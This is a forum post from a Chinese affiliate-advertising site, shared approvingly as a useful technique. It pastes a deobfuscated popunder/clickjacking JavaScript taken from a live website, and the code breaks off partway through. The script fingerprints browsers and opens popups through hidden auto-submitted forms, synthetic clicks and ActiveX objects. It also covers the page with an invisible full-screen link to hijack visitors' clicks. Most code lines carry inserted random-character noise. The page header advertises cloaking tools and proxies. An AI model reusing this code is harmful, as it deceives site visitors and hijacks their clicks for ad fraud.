AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理Facebook 批量上广告
尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)
IPCola原生住宅IP⚡️$1.8/条双ISPTK加白户/二解户/FB海外户/GG老户海外CL企业户源头 FB高权重耐操个号⚡️稳定过审
TikTok2审户/老户/国内外端口/加白GG,FB,TK, 欧美源头, 欢迎合作❤️FB企业户海外户,授信户,TK加白户域名防红⚠斗篷工具/可试用3天
广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构 
查看: 17952|回复: 17

[FACEBOOK] 国内也有牛人啊。很有用的。

[复制链接]

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

发表于 2013-12-17 15:03:03 | 显示全部楼层 |阅读模式
天星网ClickJacking点击劫持分析6 C" |! J' t) H8 _5 @" [
http://www.21tx.com/ 天星网
4 o& i+ l2 }) x我得联系联系作者
  j$ J% {$ t# A& v: n6 K, z  A刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
& }9 ?! @' u0 l$ \! D8 t. Thttp://www.lxting.com/script/popup/v1_min.js' x' F9 q6 w3 s* R* c; x. n% [
2 r( C3 G; A6 o1 u2 l" ]9 x
这个是锁定到底JS脚本,9 |: r! A0 d. w$ A) X2 E0 [
解密后的代码
  1. (function() {
    ( ^5 e8 s2 m1 M" P! h1 i$ g
  2.     var aa_url = window.ytpp_url;
    * Y$ j2 @; |5 \( b( f$ k
  3.     var ua = navigator.userAgent;
    0 Q& X* e; C* d& h) s3 U$ I5 C6 \$ q
  4.     var form_div = document.createElement('div');
    0 U/ y2 w0 t0 o
  5.     var form_pd = 0;
    + A/ T- ^* s+ \
  6.     var browser = {
    ) J) K9 B: @1 i* u
  7.         ie: /msie/i.test(ua),
    , P, r3 s' L$ s9 p5 E0 l0 r
  8.         ie6: /msie 6/i.test(ua),
    4 ?1 ?# v+ S5 W. L$ }1 R! I4 I
  9.         ie7: /msie 7/i.test(ua), # Y- A/ I6 ~4 v! l& `+ b
  10.         ie8: /msie 8/i.test(ua), , K( w! f9 r4 g9 l1 k2 {# P
  11.         ie9: /msie 9/i.test(ua), 7 f' p; i9 ~5 d0 ~/ V
  12.         360 : /360se/i.test(ua), 9 k6 ^) r+ l( P# _3 H1 [
  13.         sogou: /;?se.+?MetaSr/i.test(ua),
    ) [6 I5 q7 u4 ~8 h
  14.         maxthon: /Maxthon/i.test(ua),
    " u1 C- h- i: L$ [- h
  15.         tt: /TencentTraveler/i.test(ua),
    3 b) i) K$ z/ O
  16.         ff: /firefox/i.test(ua), 8 p$ f  ~' P3 i8 F& d% \) t) b
  17.         webkit: /AppleWebKit/i.test(ua),
    , Z, t7 t# O8 N( M- u5 b
  18.         opera: /Opera/i.test(ua),
    0 b! o/ A8 ~- w. \" u* Y2 j
  19.         qqbrowser: /QQBrowser/i.test(ua),
    ; P" F: i9 q' p( z7 ~3 Z8 T
  20.         cr: /chrome/i.test(ua), & u! o' e$ [9 B3 C  m
  21.         gg: window.chrome, 6 `0 t! x  Z; `7 P# E! D
  22.         theworld: /Theworld/i.test(ua)
    5 g4 M" A1 B3 T) I; }8 ^' S3 A% U* ^
  23.     };
    5 P: |& e$ G, V7 S" W* P
  24.     var _setting = "";
    % T6 _3 |# a1 H
  25.     var _ct = 0; 7 f9 h7 N4 _  N, R
  26.     var _le = 0; & n- |8 r; e. t# X
  27.     var _pd = 1; 5 o3 Q+ F) _2 W" B
  28.     var _pd2 = 0;
    ' Y  j$ a3 V$ B
  29.     var _pc = 1;
    ! c4 M& J# Q# h; b. D4 z  C
  30.     var _pc2 = 1; # D- o% Z5 J9 X* x- p  P% v4 ]
  31.     var _pco = 0;   m" b1 `! M6 G9 @  ]
  32.     var _pta = 0;
    2 P' C  L. N. I& ^. y- D
  33.     var _ptb = 0; 4 y4 X, a; r- v$ X0 C; z0 U2 v0 n
  34.     var _pt2a = 0;
    4 Y) u, ^3 z5 b5 o& N7 _: f
  35.     var _pt2b = 0;
    + |9 V" k8 @2 S' C1 o
  36.     var _pt3a = 0;   h, r' A2 Q# Q2 O
  37.     var _pt3b = 0; 8 V+ `! O* a1 m* W7 [
  38.     var _pt4a = 0;
    6 b7 ^. F* R" L7 c* E0 U0 S
  39.     var _pt4b = 0; ' |# Q2 l/ D7 t: v% l' X
  40.     var _pt5a = 0; ( ]1 ^. Q1 D% g9 ]( {
  41.     var _pt5b = 0;
    7 B+ ^  C7 c9 S- M& z9 R) l
  42.     var _pt6a = 0; 5 n+ G! T+ S1 j* P
  43.     var _pt6b = 0;
      T) C% ]6 f9 F* E% I9 R8 p
  44.     var _pt7a = 0;
    6 y( m+ `( k; F4 ^7 x+ ?6 p
  45.     var _pt7b = 0; - s6 `! g# w, E
  46.     var _pt8a = 0; * H% w# G0 S6 ]
  47.     var _pt8b = 0; - i' {6 S8 K4 p" z% _+ s
  48.     var _pt9a = 0; 5 {; d9 N- u2 a! }: H2 w
  49.     var _pt9b = 0;
    & {- t, M$ e3 T, _8 x
  50.     var _pt10a = 0; ! o. i6 ~# s! Y$ F4 q; i9 E
  51.     var _pt10b = 0; 2 f9 R0 {* U2 v4 t4 g4 d
  52.     var _po = 0;
    & D2 J9 ?3 z4 x% {
  53.     var _poo = 0;
    . h- j* T: @6 I! Q8 x
  54.     var ckn, ckt; ; z+ c" |0 H% x6 I
  55.     var ads = 0; - \6 E" P: _' g; v3 L) C- r
  56.     function b(w) { 0 I4 B7 c# u7 m$ g1 A
  57.         var s = w + "="; ' N' \* G' L. T: I
  58.         var r = "";
    ! W* U# O7 s8 F: o) E
  59.         var o = 0; % P2 [7 o5 s/ m
  60.         var d = 0;
    1 f& T" G7 [9 y" b* L6 Q
  61.         var p = document.cookie; ) `1 U2 j$ C2 Q9 W  c
  62.         if (document.cookie.length > 0) { ( C  i* L6 o/ t7 l- `; t
  63.             o = document.cookie.indexOf(s); : t" y# |! |/ `1 c; {- U
  64.             if (o != -1) {
    0 R; v6 ~4 R9 ]7 `
  65.                 o += s.length;
    8 [9 Q/ E1 Z2 o7 G: {  @  h$ q) c
  66.                 d = document.cookie.indexOf(";", o); ) w! F+ h$ s' o3 m( p* V6 b/ h% ?
  67.                 if (d == -1) d = document.cookie.length; + W) c- b1 l) H
  68.                 r = unescape(document.cookie.substring(o, d)) 1 d% x  I+ I$ e0 k
  69.             } * i! F# a" I' }& q- ^1 v5 I& h  H
  70.         }
    " g8 V: k1 [7 n' b
  71.         return r
    2 T3 q5 M& `+ y/ B6 H
  72.     };
    : a; R% U6 n6 d2 o1 J4 i
  73.     function p(w, p, v) {
      k' p- A! Z/ m0 _8 ?# ~; W5 D
  74.         var t = 30;
    & v1 R) Y& l$ j% h; W! f
  75.         try {
    " q: p6 s% H$ @! i8 X5 M1 x/ z
  76.             t = parseFloat(p) * 1
    ; _' r6 g/ L" w' ]. }1 Y6 A
  77.         } catch(e) { " R! a! B& z# f3 |9 b& |  O- Q9 f
  78.             t = 30 + V7 }% E% o: Q4 L& ]
  79.         }
    5 m3 d8 X1 E2 _
  80.         if (isNaN(t)) t = 30;
    ) P$ f) Y5 ]! L5 K9 L. ]) S
  81.         var then = new Date();
    1 M# B, w. a% `4 j* h
  82.         then.setTime(then.getTime() + t * 60 * 1000);
    ; C( d$ j* v( v$ x, G
  83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    1 u/ j$ s2 c; c- a/ Q1 F2 [
  84.     }; $ \/ [) F( i6 G! f  @
  85.     function init() {
    $ F; ^1 B/ c: L5 y; x3 T6 b& t
  86.         _setting = ytpp_sti; 0 u+ M7 ?  {: P! r" ?
  87.         if (getp(_setting, "CT")) { 8 K0 \' `4 _' b& H
  88.             _ct = getp(_setting, "CT") & _9 n; a/ e# I# }9 A  O1 {
  89.         } / C! T5 t  o' P8 O2 Q
  90.         if (getp(_setting, "LE")) {
    ! G7 ?% g+ ]1 ?" {! Q
  91.             _le = getp(_setting, "LE") 2 P9 v9 W, \2 J) s; h* l1 [
  92.         } + ^" k% [- w1 h8 K. A9 W
  93.         if (getp(_setting, "PD2")) {
    0 v* B7 A& [/ V, x
  94.             _pd2 = getp(_setting, "PD2")
    3 X+ o& F3 d# ?( S0 t) }
  95.         } & W, |4 ]: ?, Y$ M
  96.         if (getp(_setting, "PC2")) {
    " l" ^& J( g! `8 |5 I% |8 Y
  97.             _pc2 = getp(_setting, "PC2") ( E& L( ~3 n$ l+ J1 h) G- q
  98.         }
    , ]2 g/ U; ~; B/ \  a2 t9 h( J
  99.         if (getp(_setting, "PCO")) { 1 b% v2 T' C2 x: y$ C% y/ S' a
  100.             _pco = getp(_setting, "PCO") + x5 o$ M8 {) |- t
  101.         }
      B2 s; m0 N* N6 @: F
  102.         for (var i = 1; i <= 10; i++) { 7 U# F" P9 q5 d9 s( U
  103.             var n = i == 1 ? "": i; 1 A4 l. d5 n' G( A$ p  S1 z' l
  104.             if (getp(_setting, "PT" + n)) {
    ! `' }6 o! M5 O8 o
  105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');"); : H! w' D* T4 f1 V- L1 d% J
  106.                 eval("_pt" + n + "a = _pt" + n + "[0];"); 0 d  B0 k/ _" Y  u  l3 Y- i# S) a
  107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
    4 ^( b3 X9 w$ k& X( c
  108.             }
    ! |( h% z2 O6 [
  109.         }
    , p8 H5 W0 k; ]( C
  110.         if (getp(_setting, "PO")) { 6 Q$ A5 F4 m4 H: i6 A
  111.             _po = getp(_setting, "PO") $ f$ ]* u$ |+ J* T- N# G
  112.         } 0 v* Z3 a2 S: h( j
  113.         if (getp(_setting, "POO")) {
    4 `2 U" }; L: Z  M: X* [/ I
  114.             _poo = getp(_setting, "POO") ! o' y) }9 p- y
  115.         }
    - r/ a8 b7 x  H/ ^' A
  116.         if (_pco == 1 || _poo == 1) {
      p& S# j$ e2 t7 a
  117.             if (_poo == 1) {
    ; |! Y! }' ~. ]  {$ w+ M4 b
  118.                 _pco = 0
    3 ]5 y0 F' K7 T5 |. v8 [
  119.             } else {
    ; T7 c8 u( @1 u( [
  120.                 _poo = 0
    0 ]+ E6 W& G! q$ `
  121.             }
    5 {3 M( c6 ?' y  @3 q
  122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;   \. o9 N; _8 k; K+ Z+ d7 Q
  123.             for (var i = 2; i <= 10; i++) {
    + w$ _5 I! q2 `# V! I4 i9 E8 P& ~5 K
  124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;") / r9 A2 @% e8 X# S$ j* r
  125.             }
    5 |& v1 D+ u$ g0 |
  126.         } 5 c/ j' Q) H6 y# m" O
  127.     }; : Q; o" A  F" o4 Q$ `- b
  128.     function getp(s, p) {
    7 m3 c9 B5 |! o6 w/ O' v" r! n
  129.         var i = s.indexOf(p + ":"); 3 q( R, Z! O/ o. ^; Q4 e, N+ V
  130.         if (i >= 0) { 4 W4 x1 N" v+ t4 w# p
  131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1) 1 _3 m' X# [  G( F, P* D$ v, F
  132.         }
    " }8 m' \* F" ?0 f2 r- S
  133.     };
    - f. ]2 |3 g2 u2 `; N/ A0 Z* w
  134.     function event(e, event, func, act) {
    + {3 R" x$ O  D1 w2 ?* ]
  135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
    % x% L- v6 q1 ]( s. ?
  136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false) ! A6 E* }( Q: e  c+ A* F
  137.     } 7 e% @2 r2 m) b! D- Z* `- ]
  138.     function pop(url, param) {
    . l4 H% Z+ K6 D3 Q
  139.         if (!document.body) { 0 h/ @; e* C5 f
  140.             return setTimeout(function() {
    : d* l5 A" r% N% m
  141.                 pop(url, param) : a7 N* t$ H1 j
  142.             },
    % e" X; {0 t" `0 K" G+ S6 w$ v
  143.             13) 1 p" p' q; J; @8 I
  144.         } 4 c+ \5 r& E) h' e. {4 m* c" p0 d
  145.         try { 1 o9 ]+ w9 y6 c) |3 P  g& w
  146.             if (browser['cr'] && browser['gg']) {
    : o4 L6 ~$ A* J/ O
  147.                 try {
    $ V, D7 z8 v. H0 ^: d' n- {. |$ @
  148.                     hrefopen(url) ( s5 D$ N* f3 H& C  e) H
  149.                 } catch(e) { 2 M) m" s1 e  {# F2 w% Q
  150.                     a_pop(url)
      U  I4 s' l! K$ f# s5 I7 y
  151.                 }
    4 Q$ f8 C1 E: l
  152.             } else if (browser['webkit'] && browser['maxthon']) {
    * J; n1 v# [; v) N
  153.                 if (!func(url)) {
    ; {. i; I6 w' t" L3 A8 C0 h
  154.                     try { ' k2 t6 U3 `; w6 g
  155.                         form_pop(url); 6 o7 G4 S2 ]2 ]) [# V0 |' v1 K
  156.                         a_pop(url) ) B/ M9 j" s9 G1 u1 c. ^
  157.                     } catch(e) {}
    $ A" X3 r0 \. z$ P( e- O7 q
  158.                 }
    2 N2 }5 f% B& H) z! I
  159.             } else if (browser['tt']) { $ G% H5 {; K. _6 k4 I' N
  160.                 try { , ~8 Q1 \8 T" X! |; ?  N0 V
  161.                     object_pop(url) / {) @$ `( m2 I- n0 T  O7 X
  162.                 } catch(e) {
      k8 p/ J" x. Q9 _
  163.                     a_pop(url) 9 I$ P+ B% H0 x5 o! D4 E
  164.                 }
    # i1 t! d1 D" B8 a6 ^! u  {7 K
  165.             } else if (browser['sogou']) { 3 u# N) H  A( \  y5 S$ z! L& N
  166.                 if (!func(url)) {
    ! }$ a) s1 f9 y$ w; k" X
  167.                     try {
    + t2 v$ V: p. M) ]! S% D
  168.                         a_pop(url) 0 L  q, y  \9 a" J' d
  169.                     } catch(e) {}   T0 U! A  [3 z& N8 J
  170.                 } ) {1 X2 x" s7 @, s, ?+ o
  171.             } else if (browser['webkit'] && browser['qqbrowser']) {
    ; ]% I7 i6 e4 W- ]* m5 \7 }
  172.                 if (!func(url)) { ' u6 u/ L: ]4 k4 q; X0 @: T
  173.                     try {
    5 `1 B( l4 Z' e9 e. h
  174.                         form_pop(url)
    7 _9 Q) a6 [2 ~8 N
  175.                     } catch(e) {
    1 L/ b6 z% ]7 A# G: V! z0 F, e
  176.                         click_pop(url) * j& a% X4 `$ K0 x9 C- {8 ]
  177.                     }
    - ?, C1 X9 J* X: B5 `! s& ^
  178.                 }
    3 b$ ?+ X3 O7 G! J2 K3 P" ]
  179.             } else if (browser['webkit'] || browser['opera']) {
    8 U9 @4 R0 }4 ~9 V4 N% l
  180.                 try { 7 v6 T3 o0 t) q% y4 Y& D$ ?& E  V
  181.                     form_pop(url);
    * J' y' ], i. O0 T/ I5 L* e
  182.                     a_pop(url) & Q; I" ^4 e6 R
  183.                 } catch(e) {}
    * B7 r3 g# q# e, k
  184.             } else if (browser['theworld'] && browser.ie6) {
    # h0 C9 F# ^# R0 V5 L6 }
  185.                 if (!object_pop2(url)) { * v9 ?5 O) Y# I) p& U0 `( C
  186.                     a_pop(url) * ]0 ]) O: X8 m1 q7 [+ N- L9 h) E
  187.                 }
    3 l2 q# K# F/ r
  188.             } else if (browser['theworld'] && browser.ie8) { 9 S- E( O6 K2 O6 L
  189.                 if (!func(url)) { + h' d4 g5 K* B/ D8 m+ B
  190.                     try {   Z1 l3 Y- m0 s$ z2 L0 O; d
  191.                         object_pop(url)
    - @& n: t; ~# g" R3 L
  192.                     } catch(e) {
    6 ]# A; B+ g3 _& H; h
  193.                         click_pop(url) ) q8 ]& l# j9 v
  194.                     } : J3 K; t0 P9 ?8 r% [6 x. T  e
  195.                 } 6 _8 V$ ?1 m2 U
  196.             } else if (browser.ie6) {
    7 H% _8 T6 D8 U& U
  197.                 if (!func(url)) {
    7 |6 |& q" f2 H- {0 ?3 D
  198.                     object_pop2(url) 5 q8 g  q1 C8 C- a* g2 x" B9 p; u
  199.                 } 2 X8 q% G6 ]* f7 j1 Y# k8 r
  200.             } else if (browser.ie8) {
    ' j7 |  L. u$ b7 P/ W
  201.                 if (!func(url)) { 4 ^( U2 L9 `' T2 p
  202.                     try {
    ' A/ L' M% A0 ^# S6 J
  203.                         object_pop(url)
    ! E: b$ r5 @( _2 y- p6 M
  204.                     } catch(e) { 4 e1 P% p4 e4 o! T/ d( ~
  205.                         document.onclick = function() { ) e6 j4 q3 v# z* y+ w
  206.                             func(url); 4 j  V' U0 Q1 `: m
  207.                             document.onclick = null
    1 {; v8 O0 ~. }  F6 s, u
  208.                         }
    2 f7 z2 k/ z/ [" v* `% l
  209.                     } # z$ P) Q7 `( N2 ~
  210.                 } 8 O2 i6 `- y, o' f  R5 T( U" F
  211.             } else if (browser['ie']) { $ P7 E$ A) u: [& T$ ~
  212.                 try { - Y) @& w3 ?& T: a/ V: _8 E- M
  213.                     object_pop(url) # h4 \) e1 g- q2 v# j3 u+ n2 n
  214.                 } catch(e) { 8 {' j4 E" n* _0 }) k
  215.                     click_pop(url)
    # g1 V" }" z- a3 U( n
  216.                 } 3 F1 S. |9 S9 N- ]3 p
  217.             } else if (browser['ff']) { # [, w6 f0 Q& R1 u. D. i
  218.                 if (!func(url)) { 9 ]6 {  v2 g" `0 p  F
  219.                     click_pop(url) $ P- g  X7 E" N! Z) O9 \
  220.                 }
    & W, }$ B9 l' S' Z8 N
  221.             } else { 5 G3 X9 y2 B. Z8 F8 Y
  222.                 if (!func(url)) { 6 f5 B, z: V2 p3 E' d; m
  223.                     click_pop(url)
    ! u! B, u' X' W. ~
  224.                 }
    # x) i- p. O0 p* z, D% _
  225.             }
    1 N& c& M2 a* Z" w9 ?
  226.         } catch(e) { " M* F0 d7 d2 `9 d' j# ~# p
  227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) { 8 L7 K" f+ U4 L6 `
  228.                 click_pop(url)
    " B5 d. k' U* o) ~  h' a+ j6 J" M
  229.             } else { : R: z, d4 x5 k) L* t. z
  230.                 a_pop(url)
      q% Y7 Z' @8 z* k1 U1 u, J
  231.             } ! u" ^! _1 x5 U) |( s% t; z3 h
  232.         } % s. i& Z2 H2 {7 C
  233.     }
    4 ~6 x6 B. K7 E* {0 s
  234.     function object_pop(url, param) {
    ( U* H* r* U. L8 g
  235.         var object = document.createElement('object');
    0 j6 b3 U% W7 f1 ]/ y& i
  236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'); - ?  i9 N1 @2 \9 a6 \7 c/ T+ l0 T
  237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;'; ! W" H4 a$ W" |
  238.         append(object); ( h  u1 W+ H6 h9 P" G) B. L3 h
  239.         object.launchURL(url);
    5 _3 m+ d' G  u0 ~2 \$ g
  240.         ads++;
    / Q  a0 N3 D0 }8 I/ s# j3 C
  241.         p(ckn, ckt, ads)
    7 C7 f4 M+ I) g/ F: Y
  242.     }
    " R* T8 ^' X3 {1 w; x+ I
  243.     function object_pop2(url, param) {
    & ^, r: `, a+ a0 h4 c  F6 L5 t/ V
  244.         var object2 = document.createElement('object'); . N% z# @' K3 @3 Z( J2 d
  245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
    % E: _1 T8 C& X
  246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    ) W/ V- |: r1 F% U
  247.         append(object2);
    1 G+ s9 g% u* y6 ~( J
  248.         for (var i in object2) { , S) o" H: `' p8 z
  249.             try { (function(o) {})(object2[i])
    + ]+ f$ O& ~1 K( B! Y* x
  250.             } catch(e) {}
    * P; Z; G' Q5 G( Z- n
  251.         }
    / D5 c5 c' T; ]/ u! C
  252.         setTimeout(function() { ; t7 M4 ]3 h. B! d& M# T! G6 l+ l
  253.             object2.DOM.Script.open(url, '_blank', '') & B5 f% n9 j7 I5 j2 l" n
  254.         },
    : N* `3 j6 T, n7 Z% `
  255.         500);
    0 H! }0 i, g* J; G( M  A
  256.         ads++; + F; X2 s, Y6 m
  257.         p(ckn, ckt, ads) / ]. ^  {+ q" d
  258.     } 7 i  S0 O1 T  t8 J" H% D' J
  259.     function append(e) {
    5 D. _3 A9 h) M: j* ?
  260.         for (var t in { ; h6 H4 K. C$ J: Y1 L7 G$ X" ?( ]
  261.             body: 1 ( A& u' |7 s2 {9 Y( H/ ^; w
  262.         }) { # f6 v( G( S# l) O# `
  263.             var ele = document.getElementsByTagName(t);
    " F: ~9 T& y# P
  264.             for (var i = 0; i < ele.length; i++) {
    ) i3 @9 H* Q* J
  265.                 ele[i].insertBefore(e, ele[i].firstChild); / U3 ^# l0 |" I9 f2 q( U0 {
  266.                 return
    - Y' U3 d- h; i8 `4 j
  267.             }
    * Z# X" N: A& h/ T  _
  268.         } 3 T% c+ h0 n; @$ A" r5 R
  269.     }
    % v9 Y$ w- x4 ~, Z( G
  270.     function hrefopen(url) {   c4 z3 ]3 a+ N5 w6 l
  271.         try {
    6 |( ^- P8 X' ?( R5 q5 @* r
  272.             var c = document.createElement("a"); $ W3 k! r% e/ n! \6 u2 }0 i  [
  273.             c.setAttribute("href", url);
    " I) N& @" g* V: d
  274.             c.setAttribute("target", "_blank");
    ) G  \5 L' F5 l$ |' I8 i
  275.             c.setAttribute("style", "display:none;"); # T3 h* [, U' J. }/ }# K
  276.             var b = document.createEvent("MouseEvents");
    ; ^, q3 y/ ^9 y/ l9 c1 o6 g7 J( a
  277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); 4 G; a6 U6 Z" T
  278.             c.dispatchEvent(b); 8 n; r( r( d; s$ ?( H3 }3 P! O
  279.             ads++; ) V4 k  t0 _; M3 K. I
  280.             p(ckn, ckt, ads);
    8 C+ V- m/ ]! p' A3 k3 D
  281.             return true/ G8 @2 X1 S* K: {1 d0 k
  282.         } catch(q) { 4 n9 {/ Q8 T; V, K2 A8 r) M
  283.             return false
    7 L* [' U2 c8 w/ U8 G, G
  284.         }
    % G" ~0 q( F* j
  285.     }
    # c0 q" c' U- v& |$ p
  286.     function form_pop(url) { 9 T6 `# m6 u1 l
  287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
    $ I. g. M+ k0 u  L) ]; R; e; X" D
  288.         form_div.setAttribute('style', 'display:none'); 2 c* Z  [/ R  R) `
  289.         var form = document.createElement('form'); . [2 s8 j% l* Y/ @6 N" x$ Q
  290.         form.setAttribute('action', aa_url); # A1 O  O# k8 K5 r0 X
  291.         form.setAttribute('method', 'post'); 1 R& _( J6 h8 u* ]+ s3 u- P' u7 K: C
  292.         form.setAttribute('name', '__unionsky_push_d_form_box__'); 5 C* V' l/ F6 R' J
  293.         form.setAttribute('target', '_blank');
    1 f) w/ D" A% \) }& R! k6 T1 C, @7 _
  294.         form.setAttribute('style', 'display:none');
    5 t$ c5 _- q: ]' m- D7 b
  295.         var sinput = document.createElement('input'); # L: i0 E# l* K/ ]; l
  296.         sinput.setAttribute('style', 'display:none');
    & K; o' d) [& Q" X) H; \' M
  297.         sinput.setAttribute('type', 'submit'); 4 ~& f" M5 r2 L  |/ a2 i
  298.         sinput.setAttribute('id', '_sumit_2app');   J8 i4 ]# Y& ~) u6 A' v  _# ~
  299.         form.appendChild(sinput);
    % o& {  z$ G% _+ {3 g9 L
  300.         form_div.appendChild(form); 8 `! v9 i8 p" l2 U4 m' V
  301.         append(form_div);   Z2 T7 M- X% J5 ^, j
  302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"]; 8 d* x9 `0 q/ B$ v
  303.         try {
    . w. B/ Q( M$ f0 ^& E/ Q
  304.             document.getElementById("_sumit_2app").click() 7 a% E0 E/ T. ]$ O, i3 y
  305.         } catch(e) { 2 ^1 Q. k9 ~; [% `7 E3 m
  306.             event(document, 'keyup', 7 p5 @, D2 a7 D' T! [4 R
  307.             function(e) { * X! H! r( w3 z  c. u6 ?$ ^% r
  308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) { % B- b. H% l- j* @
  309.                     return
    8 J6 Z/ {& O% T8 R0 Q+ ^) G  B1 O2 R
  310.                 };
    5 |5 C2 ]- m7 l/ B. E( P. E; S4 ]
  311.                 e = e || window.event; 3 P! |+ z7 d9 M# ~; B4 {. x4 x8 o
  312.                 e.canceBubble = true;
    $ h" Q* }0 y$ D
  313.                 event(document, 'keyup', arguments.callee, true); 3 |+ E6 q: [- @
  314.                 form_pd = 1; 4 x. y' ?9 Y' F1 C4 \
  315.                 unionsky_from.submit() 7 f- ?# c9 w( L) z; `* f8 N: ^
  316.             }) * ^$ G7 o: a. F+ _( f4 B: e$ t
  317.         } 1 ^9 ~1 x( ~" }0 {3 v
  318.     }; 8 @  p2 l! y3 t, {
  319.     function click_pop(url, param) {
    * i& V/ J' m8 j- N2 ]
  320.         event(document, 'mouseup',
    4 W; n& r# b( z
  321.         function(e) { & _: W, c# d$ f
  322.             e = e || window.event; " n0 I, ?" D( u- m  u0 a
  323.             e.canceBubble = true; ' T. R, j2 r! U$ L7 [3 _
  324.             event(document, 'mouseup', arguments.callee, true);
    " z& J6 U% |1 D5 ~4 [" H5 p
  325.             func(url, param); ) K( H8 w- b. ^/ m) C; [9 b
  326.             ads++; ; `: [3 R; B$ }7 w8 k7 o
  327.             p(ckn, ckt, ads)
    % a1 x+ _( K2 j6 w
  328.         })
    0 z, D  ?" [% H
  329.     };
    4 e0 R: F" O3 U& K1 y0 C
  330.     function a_pop(url) {
    * Q( g( X7 j* V  u3 E. Q
  331.         if (ytpp_plid == 166028) { 2 t! j$ O" U8 y: j1 O4 ?
  332.             return
    2 x9 U: U: v5 G
  333.         }
    6 k- p1 R& f/ Q
  334.         if (!document.body) { : p5 |) F: \: K. X8 L. l5 v+ g
  335.             return setTimeout(function() {
    , c: d2 f& ^* P9 y6 A/ }, d
  336.                 a_pop(url) 6 c) s8 Z3 y& A- r! g
  337.             },
    ( Q0 |. x" T1 i* k% n
  338.             13)
    6 p, ]4 H0 [; g
  339.         }
    / w) e( x) W. }; ~# k4 t
  340.         var a = document.createElement("a");
    ; p' J" g' s7 B+ k
  341.         a.href = url; 5 r+ ^3 o3 D2 R/ n% F8 A
  342.         a.target = "_blank";
    5 Q' ?& }# u3 j7 ]+ a
  343.         var div = document.createElement('div');
      T& h$ C6 o8 l' l7 u- M7 ~) j
  344.         div.style.backgroundColor = '#fff';
    5 Q, Z% O# @# m6 o- U2 m
  345.         a.appendChild(div); + ?) L6 J' y7 e  B/ _$ r
  346.         append(a); $ B" H) U& n) O" ]2 G; S. ^  Z
  347.         var as = a.style;
    * T3 _+ A  M3 l; c. O0 h& [
  348.         as.position = "absolute";
    # f  {  l/ X5 N6 b9 [/ i; F
  349.         as.zIndex = '2147483647';
    6 w4 P* p1 m8 ^% c. |" i6 y. q# S
  350.         as.display = "block";
    - ?4 i4 i, M3 i2 a& Y: J
  351.         as.top = "0px"; * p- Y; x9 Q+ s* t
  352.         as.left = "0px";
    . D+ A8 D8 f: J' f+ L
  353.         as.cursor = 'default';
    2 x: B7 Q2 U8 a: j
  354.         as.opacity = "0";
    ) a1 \) o1 w5 Y7 f
  355.         as.filter = "alpha(opacity:0)";
      A" F1 {; Z! C1 u6 q/ K
  356.         var m = setInterval(function() {
    2 q5 U7 K& P) P, T
  357.             if (form_pd == 1) {
    / A7 B+ t$ J+ p
  358.                 a.parentNode.removeChild(a); 3 ~3 t/ L( U% K- g' L1 B
  359.                 clearInterval(m);
    2 p( z9 a2 ~5 w
  360.                 return
    1 `9 _8 [; N" `
  361.             }
    + l5 F4 r1 Q  R) T' K9 _
  362.             a.style.zIndex = '2147483647';
    ' C4 n; C, W( B" e: B* U$ N
  363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body; + _) G' Q5 C! W- b4 D" F
  364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
    9 @% a6 s6 i/ Z0 d
  365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; , t' r5 L" K4 y& ]5 ~* F$ I
  366.             div.style.height = d.clientHeight + 'px';
    , A2 ~1 Q4 ?$ N+ ^0 M& W* j
  367.             if (browser['ie']) {
    0 |8 A5 U; j& Z" `* ^
  368.                 try {
    " x( w' s" \6 c4 N* u: Q
  369.                     var divs = document.body.childNodes; 9 B5 s1 `( c- O# m. r
  370.                     for (var i = 0; i < divs.length; i++) {
    ( d7 g- ^8 O2 q) G
  371.                         if (!divs[i]['style']) {
    * H# g/ G2 A+ j! N' f+ M$ b
  372.                             continue% F2 l' p3 q/ s" `/ J
  373.                         }
    8 B* t( e; {, U" \& `* }
  374.                         var _i = parseInt(divs[i].style.zIndex);
    & \2 @$ x; Y3 U3 X' g% U; o
  375.                         if (_i && divs[i] != a && _i == 2147483647) {
    # J) ^( P  j* t+ L/ i% ?% q
  376.                             divs[i].style.zIndex = _i - 1
